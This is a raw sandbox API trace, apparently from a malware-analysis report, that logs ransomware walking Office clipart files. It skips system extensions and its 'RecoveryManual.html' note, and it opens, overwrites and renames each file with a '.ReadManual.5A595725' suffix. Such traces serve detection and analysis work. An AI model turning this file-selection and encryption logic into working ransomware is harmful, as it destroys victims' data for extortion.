CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02116_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.012] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3988) returned 1 [0263.012] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf94, lpName=0x0) returned 0x184 [0263.012] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.013] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.013] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.015] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.015] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf94) returned 0x2f0000 [0263.015] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.015] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38368380986) returned 1 [0263.015] CloseHandle (hObject=0x184) returned 1 [0263.015] SetSecurityInfo () returned 0x57 [0263.015] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.015] CloseHandle (hObject=0x194) returned 1 [0263.015] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x52290670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa4c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD02141_.WMF", cAlternateFileName="")) returned 1 [0263.015] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD02141_.WMF" | out: lpString1="FD02141_.WMF") returned="FD02141_.WMF" [0263.015] lstrcmpiW (lpString1="FD02141_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.015] StrStrIW (lpFirst="FD02141_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.015] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.016] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.016] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.016] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.016] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.016] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.016] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.016] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.016] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.016] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.016] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.016] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.016] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.016] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.016] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" [0263.016] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.ReadManual.5A595725" [0263.016] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF.ReadManual.5A595725") returned 87 [0263.016] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38368478680) returned 1 [0263.016] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf")) returned 0x20 [0263.017] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02141_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02141_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.017] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2636) returned 1 [0263.017] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa4c, lpName=0x0) returned 0x184 [0263.017] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.025] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.025] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.026] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.027] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xa4c) returned 0x2f0000 [0263.027] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.027] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38369555532) returned 1 [0263.027] CloseHandle (hObject=0x184) returned 1 [0263.027] SetSecurityInfo () returned 0x57 [0263.027] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.027] CloseHandle (hObject=0x194) returned 1 [0263.027] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1510, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD02153_.WMF", cAlternateFileName="")) returned 1 [0263.027] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD02153_.WMF" | out: lpString1="FD02153_.WMF") returned="FD02153_.WMF" [0263.027] lstrcmpiW (lpString1="FD02153_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.027] StrStrIW (lpFirst="FD02153_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.027] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.027] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.027] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.027] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.027] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.027] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.027] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.027] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.027] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.027] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.028] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.028] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.028] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.028] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.028] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" [0263.028] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.ReadManual.5A595725" [0263.028] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF.ReadManual.5A595725") returned 87 [0263.028] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38369649003) returned 1 [0263.028] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf")) returned 0x20 [0263.028] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02153_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02153_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.028] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5392) returned 1 [0263.028] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1510, lpName=0x0) returned 0x184 [0263.028] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.029] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.029] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.031] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.031] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1510) returned 0x2f0000 [0263.031] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.031] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38370005945) returned 1 [0263.031] CloseHandle (hObject=0x184) returned 1 [0263.031] SetSecurityInfo () returned 0x57 [0263.031] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.032] CloseHandle (hObject=0x194) returned 1 [0263.032] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x670, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD02158_.WMF", cAlternateFileName="")) returned 1 [0263.032] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD02158_.WMF" | out: lpString1="FD02158_.WMF") returned="FD02158_.WMF" [0263.032] lstrcmpiW (lpString1="FD02158_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.032] StrStrIW (lpFirst="FD02158_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.032] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.032] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.032] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.032] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.032] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.032] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.032] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.032] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.032] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.032] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.032] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.032] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.032] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.032] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.032] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" [0263.032] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.ReadManual.5A595725" [0263.032] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF.ReadManual.5A595725") returned 87 [0263.032] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38370274073) returned 1 [0263.034] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf")) returned 0x20 [0263.034] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02158_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02158_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.034] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1648) returned 1 [0263.034] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x670, lpName=0x0) returned 0x184 [0263.035] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.035] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.035] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.037] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.037] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x670) returned 0x2f0000 [0263.037] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.038] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38370630687) returned 1 [0263.038] CloseHandle (hObject=0x184) returned 1 [0263.038] SetSecurityInfo () returned 0x57 [0263.038] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.038] CloseHandle (hObject=0x194) returned 1 [0263.038] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73d19900, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x60c49690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x73d19900, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc38, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FD02161_.WMF", cAlternateFileName="")) returned 1 [0263.038] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FD02161_.WMF" | out: lpString1="FD02161_.WMF") returned="FD02161_.WMF" [0263.038] lstrcmpiW (lpString1="FD02161_.WMF", lpString2="RecoveryManual.html") returned -1 [0263.038] StrStrIW (lpFirst="FD02161_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.038] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0263.038] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0263.038] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0263.038] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0263.038] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0263.038] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0263.038] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0263.038] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0263.038] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0263.038] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0263.038] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0263.038] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0263.038] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0263.038] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0263.038] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" [0263.038] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.ReadManual.5A595725" [0263.038] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF.ReadManual.5A595725") returned 87 [0263.038] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38370727588) returned 1 [0263.039] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf")) returned 0x20 [0263.039] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FD02161_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fd02161_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.039] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3128) returned 1 [0263.039] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc38, lpName=0x0) returned 0x184 [0263.039] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.040] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.040] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.042] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.042] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc38) returned 0x2f0000 [0263.042] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0263.042] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38371067195) returned 1 [0263.042] CloseHandle (hObject=0x184) returned 1 [0263.043] SetSecurityInfo () returned 0x57 [0263.043] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0263.043] CloseHandle (hObject=0x194) returned 1 [0263.043] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x32b5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="FINCL_01.MID", cAlternateFileName="")) returned 1 [0263.043] lstrcpyW (in: lpString1=0x6ab90a, lpString2="FINCL_01.MID" | out: lpString1="FINCL_01.MID") returned="FINCL_01.MID" [0263.043] lstrcmpiW (lpString1="FINCL_01.MID", lpString2="RecoveryManual.html") returned -1 [0263.043] StrStrIW (lpFirst="FINCL_01.MID", lpSrch=".ReadManual.5A595725") returned 0x0 [0263.043] StrCmpIW (psz1="MID", psz2="exe") returned 1 [0263.043] StrCmpIW (psz1="MID", psz2="dll") returned 1 [0263.043] StrCmpIW (psz1="MID", psz2="sys") returned -1 [0263.043] StrCmpIW (psz1="MID", psz2="msi") returned -1 [0263.044] StrCmpIW (psz1="MID", psz2="mui") returned -1 [0263.044] StrCmpIW (psz1="MID", psz2="inf") returned 1 [0263.044] StrCmpIW (psz1="MID", psz2="cat") returned 1 [0263.044] StrCmpIW (psz1="MID", psz2="bat") returned 1 [0263.044] StrCmpIW (psz1="MID", psz2="cmd") returned 1 [0263.044] StrCmpIW (psz1="MID", psz2="ps1") returned -1 [0263.044] StrCmpIW (psz1="MID", psz2="vbs") returned -1 [0263.044] StrCmpIW (psz1="MID", psz2="ttf") returned -1 [0263.044] StrCmpIW (psz1="MID", psz2="fon") returned 1 [0263.044] StrCmpIW (psz1="MID", psz2="lnk") returned 1 [0263.044] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" [0263.044] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.ReadManual.5A595725" [0263.044] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID.ReadManual.5A595725") returned 87 [0263.044] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38371269713) returned 1 [0263.044] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid")) returned 0x20 [0263.045] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\FINCL_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\fincl_01.mid"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0263.045] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=12981) returned 1 [0263.045] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x32b5, lpName=0x0) returned 0x184 [0263.045] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0263.046] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0263.046] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0263.048] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0263.048] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x32b5) returned 0x2f0000 